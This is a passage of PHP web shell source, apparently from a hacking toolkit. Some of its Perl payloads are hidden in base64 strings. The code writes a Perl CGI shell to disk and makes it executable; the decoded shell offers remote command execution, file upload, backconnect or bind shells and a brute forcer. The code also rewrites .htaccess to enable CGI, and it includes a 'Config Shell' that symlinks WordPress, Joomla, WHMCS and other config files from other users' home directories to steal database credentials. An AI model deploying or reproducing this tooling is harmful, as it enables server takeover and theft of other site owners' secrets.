kJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
2368
2369$file = fopen("cgi2012.izo" ,"w+");
2370$write = fwrite ($file ,base64_decode($cgi2012));
2371fclose($file);
2372 chmod("cgi2012.izo",0755);
2373 echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
2374
2375 </div>"; }
2376
2377 ///////////////////////////////////////////////////////////////////////////
2378
2379elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
2380{
2381?>
2382<form action="?y=<?php echo $pwd; ?>&x=config" method="post">
2383
2384<?php
2385
2386echo "<center/><br/><b><font color=#00ff00>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
2387
2388 mkdir('config', 0755);
2389 chdir('config');
2390 $kokdosya = ".htaccess";
2391 $dosya_adi = "$kokdosya";
2392 $dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
2393 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
2394
2395AddType application/x-httpd-cgi .cpc
2396
2397AddHandler cgi-script .izo
2398AddHandler cgi-script .izo";
2399 fwrite ( $dosya , $metin ) ;
2400 fclose ($dosya);
2401$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIg